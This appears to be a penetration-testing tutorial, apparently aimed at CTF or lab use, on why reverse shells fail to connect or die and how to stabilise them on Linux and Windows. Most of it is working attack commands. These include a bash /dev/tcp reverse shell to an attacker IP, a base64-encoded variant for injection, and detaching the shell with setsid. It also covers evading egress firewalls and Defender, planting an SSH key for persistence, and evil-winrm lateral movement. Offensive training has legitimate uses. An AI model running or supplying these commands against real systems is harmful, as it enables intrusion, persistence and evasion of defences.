Reverse shell not connecting or dying: how to fix it
Why a reverse shell never arrives, drops instantly or dies on Ctrl+C, how to troubleshoot it step by step, and how to turn it into a full terminal on Linux and Windows.
You have command execution and fire a reverse shell... and nothing happens. Or it connects and closes straight away. Or it works, you hit Ctrl+C out of habit and lose it. This guide is not another list of one-liners (that is what the reverse shell generator and the TTY cheat sheet are for): it is the method to find out why it fails and fix it.
1. Check that you really have execution
Before blaming the shell, prove the command runs with something that has to reach you:
sudo tcpdump -ni tun0 icmp # on your machine
ping -c 2 10.10.14.5 # what you inject on the target
If the pings never arrive, the problem is before the shell: the injection does not work, the command runs somewhere else or the box has no ping. Try curl http://10.10.14.5/x or wget and watch the log of python3 -m http.server 80.
2. The connection never arrives
| Cause | How to tell | Fix |
|---|---|---|
| Wrong IP | ip a show tun0; you need the VPN IP, not your LAN one |
Use the tun0 address |
| Egress firewall | The ping arrives but TCP to 4444 does not | Listen on 80, 443 or 53: they are usually allowed |
No bash or nc -e |
which bash nc python3 perl (if you can see output) |
Pick another variant from the generator |
/dev/tcp does not work |
The command runs under sh (dash), not bash |
Wrap it: bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1' |
| Characters break the injection | Spaces, &, > or quotes inside a URL or JSON |
Base64-encode it (see below) |
The base64 trick sidesteps almost every character problem:
echo -n 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1' | base64 -w0
# on the target:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0MyAwPiYx | base64 -d | bash
Tip
If the base64 contains + and you send it in a URL, it turns into a space. Pad the original command with spaces until it goes away, or encode the + as %2b.
3. It connects and closes at once
- The parent process dies: the web server kills the request when it finishes or times out, and your shell with it. Detach it with
nohup,setsidor a trailing&:setsid bash -c '...' &. - Windows and the antivirus: the connection arrives and Defender kills the process. Use a less known payload, or a shell over SMB/WinRM as soon as you have credentials (see EDR evasion).
- Staged vs stageless: a
windows/x64/shell/reverse_tcp(staged, with/) needs the Metasploit handler; withncuseshell_reverse_tcp(stageless, with_).
4. Making it stable: a full TTY on Linux
A freshly caught shell has no terminal: Ctrl+C kills it, there are no arrow keys or tab completion, and sudo or su complain. The usual three steps:
script /dev/null -c bash # or: python3 -c 'import pty; pty.spawn("bash")'
# Ctrl+Z
stty raw -echo; fg
# press Enter, then:
export TERM=xterm-256color; stty rows 45 columns 180
The stty numbers are those of your own terminal (stty size in another tab). If your machine runs zsh, stty raw -echo; fg must be on the same line.
If SSH is open, it is even simpler: add your public key to the user's ~/.ssh/authorized_keys and connect over SSH. Stable, with a TTY, and it survives service restarts.
5. Windows
Windows has no stty. Three options, from least to most comfortable:
rlwrap nc -lvnp 443: adds history and arrow keys on your side.- ConPtyShell (
Invoke-ConPtyShell): a real TTY on Windows 10/Server 2019 or later; catch it withstty raw -echo; (stty size; cat) | nc -lvnp 443. - With credentials or a hash, drop the reverse shell and log in with
evil-winrmor the Impacket tools (see lateral movement).
6. Getting files onto the target
With a stable shell, the next step is uploading tools (linpeas, winPEAS, chisel). The file transfer cheat sheet has every variant; if the target cannot reach your IP directly, set up a tunnel as in port forwarding and pivoting.